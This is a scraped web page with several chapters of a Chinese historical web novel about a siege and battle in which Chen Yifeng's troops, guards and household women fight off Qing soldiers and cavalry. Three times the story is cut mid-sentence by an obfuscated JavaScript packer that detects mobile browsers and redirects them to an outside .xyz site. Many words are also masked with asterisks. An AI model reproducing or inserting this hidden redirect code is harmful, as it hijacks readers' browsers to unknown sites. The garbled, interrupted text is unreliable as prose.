轰隆隆的爆炸声此起彼伏,七间厢房的房顶被炸得粉碎。碎木和瓦片如雨点般落下,烟尘弥漫,一时间伸手不见五指。 第一百二十四章 复仇 但捕头沈扬早有准备。在听到枪声逼近时,他就给十几个得力徒弟使了眼色。这些年跟着他的捕快,都是从生死线上爬回来的,一个眼神就明白该怎么做。 等王四莲一声令下,沈扬第一个扑向了要点燃火药的死士。他用身体压住对方的火把,其他捕快也一拥而上,把死士按在墙角。 死士拼命挣扎,想把火把扔向火药桶。一个小捕快冲上去,一口咬在他手腕上,直咬见骨。鲜血顺着手臂流下,但小捕快死死不松口。 沈扬抽出靴中匕首,一刀结果了死士。他擦了擦脸上的血迹,环顾四周:“集合!快去救大人!” 可惜能应声的衙役只剩三十来人了。其他人不是死了,就是重伤不起。院子里到处都是尸体和血迹,空气中弥漫着火药味和血腥味。 就在这时,后院传来王四莲愤怒的咆哮声,像是一头受伤的野兽。 原来北墙已被砸开一个大洞,陈逸风早已不见踪影。断壁残垣间,只留下几具死士的尸体。 “废物!一群垃圾货色!”王四莲揪住一个受伤的死士,“眼瞎吗连围墙都被撞塌了?怎么让他跑了!” “大...大人...有鬼啊...”死士吐出一口血,断了气。他的眼睛瞪得老大,似乎看到了什么可怕的东西。 原来是两个洋人突然出现在北街,用转轮手枪打得死士们抬不起头。他们还用炸药炸开了墙根,让孟明蛇如野牛般撞出一个大洞。 “他们往北逃了,大人怎么办?”死士们看向王四莲,眼中带着迷茫和恐惧。 “追!陈逸风肯定是去救他的女人。我就不信,这小子真是九命猫!”王四莲咬牙切齿地说道。 等戚掌柜和沈扬他们冲进内院时,只看到一个大窟窿和空荡荡的院子。地上还有未干的血迹,空气中弥漫着火药和血腥的味道。 “快找!必须找到陈先生!”沈扬急得直跺脚,汗水顺着脸颊流下,“现在望海闹成这样,朝廷不会善罢甘休。除了陈先生,谁能平息这场风波?” 戚掌柜也是一头冷汗:“对!一定要把陈先生救出来,否则咱们一个都活不了!这事闹大了,朝廷肯定会派兵镇压。到时候咱们这些商人,怕是连命都保不住!” 此时的陈逸风,心里只惦记着凤女和其他家眷。他相信瑾周信和诸葛林能对付那些绿营军,但家里只留了五十个护卫,不知道够不够保护陈府。 夜色如墨,乡间小路上寂静无声。只有远处传来几声犬吠,更显得四周的安静。陈逸风在黑暗中狂奔,心跳如擂鼓。 “快!再快点!”他在心里不停地催促自己。 突然,一个不留神被什么东西绊倒,狠狠地摔了个狗啃泥。他挣扎着爬起来,顾不得擦拭脸上的泥土,继续向前跑去。 身后隐约传来追兵的脚步声,但他已经顾不得那么多了。现在,他满脑子想的都是家里的人是否安好。如果出了什么意外,他这辈子都不会原谅自己。 洛根和迈克两个美国佬就是那种看热闹不嫌事大的主,往衙门北墙根扔炸药这种事,也就这俩满脑子西部牛仔英雄主义的家伙干得出来。 更别说这次的主角还是他们的好友陈逸风,这下他们更是兴奋得不行。陈逸风脸上挂彩,嘴角渗着血,衣服也被扯得破破烂烂,但眼神里燃烧着一股疯狂的怒火。 “陈,你这是怎么了?”迈克一把将陈逸风从地上拉起来,眉头微皱,“在琉球时你可不是这样的,记得当时你在枪林弹雨中冲锋的英姿,今天怎么这么狼狈?” “少他娘的废话!”陈逸风抹了把鼻血,声音嘶哑地怒道,“那时候我媳妇又不在琉球,有狗贼想动我老婆,你们在这说风凉话!” 说完,他又不管不顾地往前冲。身后的洛根和迈克对视一眼,嘴角勾起意味深长的笑容。这两个美国佬体格确实不错,一边跑还能一边给枪上子弹,脸上轻松得跟散步似的。 “嘿,伙计,”洛根边跑边喊,“你这样冲过去,不是给敌人送靶子吗?” 迈克也跟着喊道:“至少让我们帮你掩护一下!” 陈逸风充耳不闻,继续向前狂奔。他的脑海中只有一个念头:必须尽快赶到,一刻也不能耽搁。 此时,望海城西边的大路旁,吵得火气冲天已有片刻。空气中弥漫着火药的味道,远处不时传来零星的枪声。 “你们两个混账东西!”玄童陀浑身缠满纱布,像疯了一样冲向瑾周信和诸葛林,眼睛充血,“居然敢抗命不救先生,我打死你们这两个忘恩负义的狗东西!” 周围的亲兵赶紧拦住发狂的玄童陀。有人抓住他的胳膊,有人按住他的肩膀,但玄童陀依然在疯狂挣扎。 “童陀,你冷静点!”瑾周信急得满头大汗,“我们现在只有一百八十人,对面可是一千五百绿营军。就算我们火器精良,这么大的数量差距也不是闹着玩的!” “先生那边只是几十个死士,以他的本事肯定有办法应付。”诸葛林也上前劝阻,声音中带着一丝颤抖,“如果我们分兵,不但救不了先生,这边的战局也会全盘皆输!” “放屁!”玄童陀暴跳如雷,挣脱开亲兵的束缚,“在琉球面对十万暴徒我们都没退缩过,现在区区千把人就怂了?” “那能一样吗?”瑾周信气得直跺脚,脸涨得通红,“琉球是孤岛,这里可是天津卫,光骑兵就有八千,援军随时可能到!我们弹药有限,拖不起!” 玄童陀的伤口因为剧烈运动崩裂了,鲜血渗透纱布,但他浑然不觉。“老子不管这些!”他红着眼睛吼道,“先生现在危在旦夕!去年这时候你们都是什么货色?不都是土匪、绿林、平民百姓吗?是谁给了你们现在的一切?” 这话让在场所有人都沉默了。 “你们好自为之吧。”玄童陀冷冷地说,声音里带着刺骨的寒意,“从今以后,我跟你们恩断义绝!” 就在这时,一阵急促的马蹄声传来,孙忠义骑马赶到现场。他翻身下马,大步流星地走到玄童陀面前。 “都疯了不成?”他一个巴掌重重地扇在玄童陀脸上,“现在是乱军心的时候吗?战场上的命令可以不听,这是先生亲自授予的临机专断权!” “连你也......”玄童陀捂着脸,不可置信地看着孙忠义,眼中的怒火渐渐被失望取代,“当初救两位夫人时你可不是这样的......” “童陀,你不懂......” 玄童陀不等孙忠义说完,转身就往北面冲去。他的背影显得那么孤独,那么决绝。 第一百二十五章 暗流涌动的危机 就在众人被这场争执分散注意力时,干枯的玉米地里,数十道黑影正悄无声息地匍匐前进。他们的动作轻盈得像猎豹,每人嘴里都咬着涂了泥的匕首,眼神冰冷得像毒蛇。 “杀!” 一声令下,五十名死士如利剑般刺入新军阵中。他们的动作快如闪电,招招致命。 新军仓促间只来得及开一轮火,就陷入了白刃战。御风连星枪不适合装刺刀,士兵们只能用随身短刀应敌,顿时刀光剑影,喊杀震天。鲜血在阳光下闪着刺目的光芒,惨叫声此起彼伏。 “该死。”瑾周信低声咒骂,目光扫过战场。这场战斗的走向完全出乎他的预料。 那些新兵们还是太年轻了,瞬间被将领们的争执勾走了心神。就在这一瞬间的破绽中,清军抓住了机会。 五十名死士如利剑般切入虎贲营的军阵,他们面目狰狞,死死缠住新军的士兵。更多的绿营军从缺口涌入,战场瞬间陷入混战。 “妈的,以为咱们仅懂西洋铳械?”一名班长怒吼着,挥舞着刺刀冲向敌阵,“弟兄们,让他们见识见识咱们的本事!” 这些新军的小伙子们在琉球时就和日本浪人打过近身战,杀得对方抱头鼠窜。现在,他们的眼中闪烁着同样的凶光。 “铳械随意开火!抄家伙上!”随着命令下达,两个连队迅速变阵。 瑾周信和诸葛林交换了一个眼神,同时下达了自由战斗的命令。这时候,新军的优势开始显现。 十人一班,三班一排,三排一连的编制让他们的战斗力发挥到极致。这些班长不仅识字,还能看懂武器上的英文说明。他们懂得简单计算,能进行战场测距。这种超越时代的素质,使这支队伍智谋满溢。 “三班近战掩护,一二班射击!”一名排长的声音在硝烟中格外清晰。 “钳形包抄,打他们两翼!”另一个声音紧随其后。 “散兵线压制,别让他们冲过来!”命令声此起彼伏。 战场上到处都是这样简短有力的命令。瑾周信看着这一切,嘴角微微上扬。这些年轻人,正在用实际行动证明自己的价值。 一名绿营军挥舞着大刀冲向一个新兵,却被对方灵活地闪开。新兵反手一个刺刀,准确地刺入对方腋下。这是他们在训练场上练习过无数次的动作。 “弟兄们!”瑾周信突然高声喊道,声音中带着几分调侃,“我们可是受过世界最好的训练!要是打输了,我和诸葛林第一个学日本人切腹!” 这句话像是点燃了火药桶。战场上爆发出一阵怒吼。 士气瞬间暴涨。所有士兵仿佛都疯了一般,将心中的怒火全部发泄在绿营军身上。 三名清军偏将站在远处的高地上,看得目瞪口呆。这些穿着洋服的光头士兵在军阵中来回穿梭,斯宾塞步枪打得虎虎生风。近战时更是悍不畏死,每一招都是拼命的打法。 “这些人是疯子吗?”一名偏将喃喃自语,手中的望远镜微微颤抖,“陈逸风到底给了多少饷银?” 在他们的认知中,只有高额军饷才能养出这样的死士。可他们哪里知道,陈逸风到现在都没来得及定下军饷标准。这些士兵,只是单纯地想证明自己。 战斗的天平开始倾斜。一千多名绿营军被两百人压着打,节节败退。 就在这时,一名传令兵匆匆跑来,脸上带着惊慌:“大人,不好了!陈府那边出事了!” 瑾周信的心猛地一沉。他早就担心会有这样的情况。 王四莲带着两百精锐骑兵,已经包围了陈府。马蹄声如雷,震动大地。 “打开大门!内中珍宝财富任意取用!”王四莲的声音在夜空中回荡。 “女人随便抢!”他身后的骑兵们发出一阵狂笑。 就在这时,陈府的墙头突然冒出一排洋枪。“开火!” 骑兵们早有准备,迅速散开,竟有高手练就了马镫隐身的神技。斯宾塞步枪的三轮齐射并未造成多大伤亡。 骑兵们突然亮出火把。“烧!烧死他们!” 数百道火光划破夜空,落入院内。马舍、灶屋、偏房,甚至陈逸风最爱的月季,都被火光吞噬。 就在这时,一个披头散发的女人冲向池塘。 “天塌了!地陷了!妖魔来了!”原是自马厩中释放的兰姑娘,已经彻底疯了。 寒风呼啸,院子里的枯枝在风中摇曳,发出令人不安的沙沙声。此刻,内宅所有的女眷都聚集在正房大院的池塘边。就连身患重病的琥珀也披着厚厚的棉衣,虚弱地靠在门框上,苍白的脸上泛着不正常的潮红。 凤女身上散发着一股子杀伐之气,她的衣服上还沾着未干的血迹。方才她跃上墙头,左轮手枪连开两枪,击中了一个试图潜入的敌人。那人连惨叫都没来得及发出,就重重地摔在了院墙外。这让她兴奋不已,眼中闪烁着危险的光芒。 经历过玉岭山的土匪袭击,陪同陈逸风在京西群山中逃亡,甚至在初入望海时遭遇劫匪,这一年多来的历练,已让这个小丫头蜕变成了一个真正的女将军。她的眼神锐利如刀,举手投足间都带着一股子杀伐果断的气势。 “我有好消息和坏消息,想听哪条?”凤女的声音在寒风中显得格外清晰。 院子里鸦雀无声,没人敢吭声。 “先说个不太好的瓜。”凤女环视众人,目光在每个人脸上扫过,“两百多骑兵已经包围了大宅,而我们只有不到百条枪,今天怕是凶兰大少。” 此话一出,哭声四起。有的丫鬟直接瘫坐在地上,有的抱在一起低声啜泣,恐惧如潮水般在院子里蔓延。 “别哭了!”阿艳忍不住喊道,声音里带着哭腔,“主子肯定不会丢下咱们不管!老爷神通广大,区区敌兵算什么!”她的话语虽然坚定,但颤抖的双手却暴露了内心的不安。 “好了。”凤女抬手制止,“现在说说好消息。后院有一条密道,你们可以从那里逃走。趁着夜色,应该能安全离开。” 众人眼中刚露出希望的光芒,却又在听到下一句话时黯淡下来。 “我会留下来吸引敌人注意。你们有一刻钟收拾东西,快走吧。”凤女的语气不容反驳,手已经按在了腰间的枪套上。 “梁小姐不走,我也不走。”绎芳突然开口,声音虽轻但坚定,“逃出去又能去哪里?这里是我们的家。” “我也留下。”暖柔站了起来,眼中闪烁着泪光,“今日若走,这个家就再也回不来了。”她的声音有些哽咽,但站姿挺拔。 “你们可想清楚了?”凤女皱眉,语气变得严厉,“外面可是两百骑兵,攻破大宅后会发生什么,你们难道不怕?” 话音未落,一支火箭划破夜空,拖着长长的火尾砸在房顶上,发出刺耳的呼啸声。火箭滚落到众人面前,火星四溅,照亮了每个人惊恐的面容。 第一百二十六章 陈府女眷誓死守陈府 丫鬟们吓得四散奔逃,尖叫声此起彼伏。有人被绊倒在地,又手忙脚乱地爬起来,场面一片混乱。 凤女大步上前,一脚踩灭火箭,“现在明白了吗?这是战场!留下来九死一生!”她的声音里带着愤怒和焦急。 丫鬟们不再犹豫,纷纷回房收拾细软准备逃命。脚步声杂乱,有人已经开始抽泣,有人在低声祈祷。 但教坊司来的姑娘们却一动不动,她们站在原地,眼神坚定。寒风吹起她们的衣袂,却吹不动她们的决心。 “梁小姐。”川儿上前解释,声音轻柔却坚定,“今日若走,我们永远都回不来了。在这里,我们感受到了前所未有的自由。”她的眼中闪烁着泪光,但嘴角却带着淡淡的微笑。 “老爷是真心把我们当人看。这种尊重,我们从未体会过。”川儿的声音微微颤抖,回忆起过往的点点滴滴。 “若是离开,我们只能重回教坊司。”暖柔哽咽着说,眼泪终于控制不住地流下,“到时候会落入什么人手中,谁也说不准。那种生不如死的日子,我们再也不想过了。” “我们商量好了。”绎芳抹着泪说,声音虽然颤抖但异常坚定,“能遇到老爷这样的主子,已是上辈子修来的福分。我们宁愿死在这里,也不愿离开。” 凤女红了眼眶,胸口剧烈起伏,“好!那就一起守住这个家!”她的声音里带着难以掩饰的感动。 与此同时,陈逸风正在大道上狂奔。月光下,他的身影显得格外孤单而决绝。 寒冷的空气像刀子一样割着他的肺,喉咙干得要命,只能抓起路边的雪塞进嘴里。他的呼吸声粗重,每一步都像踩在刀尖上。 “累死我了!究竟要走多久?”陈逸风气喘吁吁地问道,声音里带着焦急和疲惫。 一名护卫蹲下身,“先生,我背您吧。”他的眼中满是关切。 “滚开!”陈逸风一把推开他,怒吼道,“你是保护我的命,不是让我骑的马!别忘了当初是怎么跟日本浪人拼命的!”他的声音嘶哑,眼中闪烁着愤怒的火光。 身后突然传来火把的光亮和喊声:“抓住陈逸风!”追兵的声音越来越近,马蹄声如雷贯耳。 “该死的王四莲!”陈逸风正要拉起护卫,却见对方已经转身迎向追兵,背影决绝而坚定。 “先生先走!属下为您争取时间!”年轻护卫的声音里带着视死如归的决心。 “你疯了!”陈逸风声嘶力竭地喊道。 孟明蛇一把架起陈逸风就跑,“当护卫就得有护卫的担当!先生只管活着,为他们报仇!”他的声音沙哑,带着不容置疑的坚决。 姆克雷的**在身后响起,年轻护卫的怒吼刺痛了陈逸风的心。**、马蹄声和喊杀声交织在一起,构成了一曲悲壮的战歌。 “放开我!老子要杀回去!”陈逸风拼命挣扎,声音里带着撕心裂肺的痛苦,“他们拿命博来的生路,我不要!” 又一名护卫端起姆克雷冲了上去,“先生保重!”他的声音里带着释然,仿佛早已看透生死。 “啊!”陈逸风仰天长啸,声音中充满了绝望和愤怒,“我陈逸风从不当逃兵!要死一起死!” 说着张嘴就咬在孟明蛇胳膊上,像一只发狂的野兽。鲜血顺着他的嘴角流下,但他丝毫不在意。 孟明蛇气得牙痒,这先生怎么跟条疯狗似的!但他知道,现在不是讲情义的时候。 “您咬死我也不行!还有大事要办!”孟明蛇点了陈逸风的穴道,声音里带着无奈和决绝。 “杀!” 身后传来一声怒吼,紧接着是****的巨响。火光冲天,照亮了半边夜空。 又一条年轻的生命,消逝在这个寒冷的冬夜。**的余波中,飘落的雪花染上了鲜血的颜色,无声地诉说着这个夜晚的悲壮。 如果此刻能乘坐热气球俯瞰望海,必定能看到三处混乱的漩涡在这座小城中不断扩散,宛如三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15526608|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个巨大的旋涡,将这座平静的城池搅得天翻地覆。 城内,捕头沈扬的脸上布满了焦虑的汗水,他不停地用袖子擦拭着额头,带领着残存的几十名捕快和戚掌柜召集的伙计,组成了一支五百人的搜索队伍。他们在街巷中穿梭,像无头苍蝇般四处游荡,寻找着陈逸风和沈明泰的踪迹。 “大人,西市那边搜过了,一无所获。”一名捕快气喘吁吁地跑来汇报。 沈扬狠狠地跺了跺脚,“继续找!给我掘地三尺也要把人找出来!”他的声音因为愤怒而变得嘶哑。 望海城虽不及后世繁华,但作为几万人口的小城,地形复杂程度也不容小觑。狭窄的巷道纵横交错,古老的民居鳞次栉比,每一个转角都可能藏着他们要找的人。这群土生土长的捕快对每条街巷都了如指掌,但此刻却像迷失在自家后院的孩子。 “大人,东市有人报案,说看见可疑人影往城墙方向去了!”又一名捕快跑来禀报。 沈扬的眼睛一亮,“带路!”他挥手示意身后的人跟上,“记住,活要见人,死要见尸!” 城西五六里外的官道上,一场惨烈的厮杀正在上演。陈逸风的新军与千余名绿营军纠缠在一起,远远望去,两支人马就像一条巨大的毒蛇,在残雪覆盖的旷野上不断扭动。 “冲!给我冲!”新军统领的吼声在寒风中格外响亮,“别给这些绿营军喘息的机会!” 不到两百人的新军凭借着精良的洋枪和过人的战意,正一步步将绿营军压向西方。每一次齐射,都能带走十几条人命。绿营军的阵型开始松动,士气低落,若不是三名偏将亲自督战,恐怕这支队伍早已溃不成军。 “该死的!”一名偏将咬牙切齿,“这些叛军的火器太厉害了!” “大人,要不要撤?”副将脸色发白,“再这样下去,我们可能会全军覆没!” “撤?往哪撤?”偏将怒吼,“你以为朝廷会放过临阵脱逃的懦夫吗?” 第一百二十七章 生死一线 就在此时,城郊西北角的荒野,陈逸风的宅院已被火光笼罩。一队骑兵正疯狂地向院内投掷火把,他们深知宅内守**器犀利,企图以此手段引蛇出洞,好在旷野中将其歼灭。 “快跑!快跑!”地道中的丫鬟们从大槐树下钻出,看到身后熊熊燃烧的家园,顿时惊慌失措。她们的脸上满是惊恐,有的甚至忘记了穿鞋,赤着脚在雪地上奔逃。 “别慌!都跟着我!”一名年长的护卫试图组织秩序,但他的声音很快淹没在混乱中。 骑兵们很快发现了这些逃窜的身影。“那边!有人从地道逃出来了!”一名骑兵兴奋地大喊。 马蹄声轰鸣,寒光闪过,一名丫鬟背部顿时绽开一道血痕。她痛苦地倒在雪地上,鲜血染红了洁白的积雪,宛如一朵绽放的红梅。 几名死士和骑兵跳下马,钻入了地道。这条地道是陈逸风花重金打造,青砖垒砌,五步一盏舶来品照明灯。通风系统设计精巧,空气流通顺畅,就连地面都铺着防滑的木板。 十位亡命之徒领衔冲锋,很快遇到了三个体型肥胖的厨娘。厨娘们惊叫着往回逃,却被追上来的死士乱刀**。鲜血溅满了地道的墙壁,空气中弥漫着浓重的血腥味。 “这三个**把路都堵**。”死士们骂骂咧咧地从尸体上爬过。 眼看出口就在前方,领头死士脸上露出狰狞的笑容。远处洞口闪烁着摇曳的烈焰,幻想着即将抓获陈逸风的女眷,抢夺宅中珍宝。 “美人们,爷来了......”死士狂笑着冲向出口,却见一个虎牙小美女突然出现在眼前。 “下地狱享受去吧!”凤女手中的**连开数枪,领头死士的胸口瞬间开出几个血洞,他的笑容凝固在脸上,重重地倒在地上。 “泼火油!”随着凤女一声令下,府中的女眷们将煤油、菜油倾倒入地道。凤女划燃火柴丢入其中,整个地道瞬间化作火海。 “毒妇!阎王爷正等着你......”烈火中传来敌人凄厉的咒骂,伴随着痛苦的哀嚎。 “呸!一群畜生,下地狱等着排队吧!”凤女啐了一口,“继续泼油,烧死这帮畜生!” “梁小姐......”香菱怯生生开口,她的脸色因为恐惧而发白,“地道烧了,我们是不是也出不去了?” 凤女这才意识到问题的严重性。她本想让弱者先撤,等敌人攻破正门后再带人离开。没想到地道暴露得这么快,唯一的退路也断了。她的心中涌起一阵后悔,但现在说什么都晚了。 “姐妹们,对不住了......”凤女话音未落,南面正门突然传来一声巨响,烈焰冲天而起。 “开火!堵住正门!”**大作,夹杂着战马的嘶鸣。 “正门塌了!”家丁们惊呼。粗壮门扉被烈焰炙烤得蜷曲,最终轰然倒地,激起漫天火星。 “冲进去!”骑兵们血气上涌,纷纷催马向大门冲去。他们的眼中闪烁着贪婪和兴奋的光芒。 铁蹄踏碎青石路,火星四溅。第一名骑兵刚冲入门内就被弹雨打成筛子,鲜血染红了他的战袍。但后续骑兵前仆后继,当第六具尸体倒下后,第七名骑兵终于突破了防线。 “突破了!”骑兵如潮水般涌进院落,陈府岌岌可危。院内的守军节节败退,一些人已经开始往后院撤退。 护卫们拼死反抗,投掷**阻击敌人。**声此起彼伏,碎片横飞。但面对两百多名骑兵的优势兵力,他们只能勉强拖延时间。 就在这危急时刻,南面两里外的小树林突然响起嘈杂的铜锣声和喊杀声。声音此起彼伏,震耳欲聋。 “全军突击!让这群贼寇血债血偿!”喊杀声中夹杂着整齐的脚步声,仿佛有一支训练有素的军队正在逼近。 骑兵们大惊失色,只见树林中火把连绵,人影晃动,喊杀声震天,仿佛有千军万马包围而来。 “派遣二十精锐前去查看情况!”骑兵统领急忙下令。 二十名骑手向树林冲去。刚到林边,一人突然**翻滚。原来地面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531980|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布满了绊马索,二十多名骑手瞬间全军覆没。他们的惨叫声在夜空中回荡。 玄童陀气冲冲地离开瑾周信和诸葛林后,并未直接返回望海城。夜色渐深,寒风呼啸,他的僧袍被吹得猎猎作响。 “混账东西!”他一边疾行一边咒骂,拳头攥得咯咯作响,“这些人平日里对先生阿谀奉承,现在却见死不救!” 寒风中,他的脚步越来越快。就在这时,一阵刺鼻的焦糊味飘来。 玄童陀猛地抬头,北面天际突然亮如白昼,火光冲天。远处传来阵阵喊杀声,马蹄声密集如雷。 “不好!”他浑身一颤,汗**倒竖。陈府竟然被**了! 玄童陀在原地转了几圈,忽然发现四周地形异常熟悉。光秃秃的山岗,零星的农舍,还有那座破旧的土地庙...这不就是自己之前作法的大孙庄吗? 此时的大孙庄已经乱成一团。村民们都被远处的喧嚣惊醒,纷纷走出家门张望。有人抱着孩子,有人拄着拐杖,更多的是一脸茫然的壮年汉子。 “大火...大火...”一个老妇人颤抖着指向北方。 “你们这群忘恩负义的东西!”玄童陀嘶哑的吼声在村口响起,他的身影在火光中显得格外高大,“陈逸风买了你们的地,又给你们修建大庙,现在他家遭难,你们居然在这看热闹!” “是玄童陀大师!”人群中有人认出了他。 “大师您这是...”一个村民指着他的装扮。 “别管我穿什么!”玄童陀粗暴地打断道,眼中闪烁着愤怒的火光,“此刻陈先生的亲眷正被一群恶徒围困,你们三处地盘合计能召集近千青壮,只要齐心协力,定能救出先生家眷。事后我亲自替你们请功!” 村民们面面相觑,有人低声议论:“这是官府的事,我们掺和进去怕是...” “怕什么!”一个身材魁梧的汉子站了出来,“若不是陈先生,我们早就被岳举人害**。现在他有难,我们岂能袖手旁观!” 第一百二十八章 村民纷纷相助 这话一出,人群中响起阵阵附和声。三个村长对视一眼,立刻拍板:“大师说的对,陈先生是我们的恩人,我们岂能坐视不管!” “乡亲们,拿家伙救人去!” 很快,农具、猎具被分发下去。玄童陀虽然性子耿直,但并不愚笨。他深知这些没有军事训练的村民根本不是骑兵的对手。 “听我说,”他压低声音,“我们不能硬拼,要打游击。” 他将村民分散在小树林中设伏,用大量绊马索限制敌军骑兵。村民们砍下树枝,在地上挖坑,布置陷阱。只要不断给敌人施压,就能迫使对方分兵防备后方,从而减轻陈府内部的压力。 这个战术果然奏效。敌军不得不分出一半兵力警戒后方,让陈府内的形势为之一松。 “打!”玄童陀一声令下,埋伏的村民纷纷扔出石块。 混乱中,村民们还俘虏了三十多名敌军,缴获了不少**。玄童陀带着几个机灵的小伙子,打一枪换一个地方,神出鬼没地骚扰敌军。 “都小声点,匍匐前进...”他趴在地上,指挥着身边的年轻人,“对,像条虫一样在地上蠕动!悄悄潜行到磨坊附近,放箭就跑...” 就在玄童陀低声指挥时,身后突然传来一个熟悉的声音:“玄童陀,你怎么跑这来传令了?” 玄童陀吓得差点拔刀,回头一看,借着月光,那张熟悉的面孔让他眼眶一热。 “先生...”玄童陀声音哽咽,“瑾周信和诸葛林那两个混蛋,竟然见死不救,这帮人是要谋逆作乱!孙忠义也跟他们一伙...” “别这么说。”陈逸风摆手打断,脸上带着疲惫却坚定的神色,“我已经看清局势了,他们的决定没错。如果分兵来救我,反而是最大的败笔。说说眼前的情况吧。” 与此同时,内宅里的女眷们已经从地道出来做好了赴死的准备。 青砖大瓦房内到处洒满火油和柴炭,所有女眷挤在一起,悲戚地望着南面的火光。有人低声啜泣,有人紧握着手中的**,更多的人则是一脸决然。 突然,一阵急促的脚步声传来。 凤女猛地站起,举起燃烧的烛台:“姐妹们,贼寇已经突破防线,我们死在一起!” 她将烛台往地上一扔。 “住手!”陈逸风箭步冲上前,扑倒在地将火焰压灭。他的动作太急,膝盖重重磕在地上,疼得龇牙咧嘴。 “老爷!”女眷们再也控制不住,一拥而上将他紧紧抱住。 凤女和阿艳趴在他背上又哭又笑,其他女孩也都挤作一团。陈逸风被压得喘不过气,胸口还顶着银制烛台,疼得直哼哼。 “都起来,都起来!”他艰难地喊道,“现在不是叙旧的时候!” 几人快速绕到侧院墙根。此时正门战况激烈,**声不绝于耳,侧院倒是无人注意。借着夜色掩护,众人轻松翻墙而入。 刚进入内宅正房不久,外面传来一阵震耳欲聋的轰然巨响。木门碎裂的声音清晰可闻,显然外宅已被攻破。 黑暗中,马蹄声愈发密集。这个时代的**虽然厉害,但在骑兵面前仍显不足。虽然齐射可以击倒几匹战马,但前仆后继的骑兵总能找到突破口。 那些没受过正规训练的家丁更是不堪一击,除了远远放枪外,根本不敢近身肉搏。侍卫们边打边撤,最终退守到了月亮门。 “轰!”随着一声巨响,月亮门应声而碎。碎木横飞中,数十名骑兵呐喊着冲了进来。 “所有人退后!”陈逸风的怒吼声在院中回荡,“在水潭边布置火力点!今天老子就在这里死战到底,一步都不退!” 他转身对着书房大喊:“把当年的的战旗给我升起来!” 这话一出,所有曾在望海战斗过的护卫们眼睛瞬间红了。那面战旗承载着太多记忆,太多热血。在曾经的望海港,就是这面旗帜下,他们以一当十,杀得敌人闻风丧胆。 “升战旗!死战不退!”内宅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531981|170045||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爆发出震天的怒吼。 “谁敢跟我去杀一阵?”孟明蛇目光如电,扫视四周。 三名身手矫健的护卫立刻跳出来响应。四人如猎豹般翻墙而出,直扑敌阵。孟明蛇手中端远玄铁枪不断喷吐火舌,一个弹匣瞬间打空。 随即抽出双刀,刀光凌厉,如同死神般收割着敌人的生命。敌人万万没想到困兽竟敢反扑,猝不及防之下死伤惨重。短短三分钟,就有十多名骑士命丧刀下。 “得手就撤!”孟明蛇一声呼哨,带着三名护卫迅速撤回。 等他们回到战旗旁,孟明蛇已是浴血奋战的模样。鲜血顺着他的脸颊滑落,却掩不住眼中的兴奋。 陈逸风重重锤了下孟明蛇的胸膛,眼中闪过赞许之色:“好样的!你可敢再杀一阵?” “哈哈哈,”孟明蛇大笑,“先生指向哪,我就杀向哪!” 陈逸风望着战旗,声音低沉:“这是望海最大的一面战旗,当年我亲自背过。此刻我要你,带着它杀出重围,去找我的生力军。” “告诉他们,二百对两千很难,但只要战旗在,就要血战到底。让他们快点打赢,我在这等着他们。” 孟明蛇默默点头,扛着战旗消失在夜色中。不多时,南面传来一阵嘈杂和马嘶声,显然他已经遇上敌人了。 陈逸风转头对洛根和艾德澹笑道:“抱歉让你们陷入险境。等挺过今晚,我带你们游遍大清,看看这五千年文明古国。现在,跟我一起战斗吧。” 两人看了眼后面的女眷,眼中闪过一丝坏笑:“为了这些天使般的面容,我们这帮读书人也该上阵杀敌了。” “臭小子们,少打歪主意!”陈逸风佯怒道。 三人不由大笑起来。这笑声让所有人都安心不少。就连那些原本是满清派来的探子们,此刻也无一人想去告密。 这样一个在生死关头还能谈笑自若的男人,这样一个能让手下为他赴死的统帅,在这个时代实在太罕见了。 第一百二十九章 血战到底 战斗一直持续到午夜。敌我双方都已精疲力竭。敌方指挥官快要疯了 - 二百多骑兵损失了近四分之一,却始终无法攻破内宅。 每次进攻都会遭到密集火力打击,随后就是疯狂的肉搏战。就连那个看似文弱的书生陈逸风,都会亲自冲锋陷阵。 两个小时内,陈逸风击退了六次进攻。院内已是尸横遍地,血腥味弥漫。但内宅依然坚如磐石,死守不退。 就在这时,南面树林突然安静下来。片刻后,密密麻麻的人影从林中涌出,向着骑兵发起冲锋。 “乡亲们,抓住这些土匪!抓一个活口赏两百两银子!”玄童陀带着七百多村民呐喊着冲来。 二百两在同治年间能买四亩水浇地,对普通农民来说足以改变命运。虽然他们已经得到不少征地款,但谁会嫌钱多呢? 石块、火把、弩箭如雨点般砸向骑兵。有人甚至扔出点燃的鞭炮,把战马吓得四处乱窜。就算是王牌战士也惧怕百姓暴动。几十名骑兵哪里是近千人的对手,纷纷调头就逃。 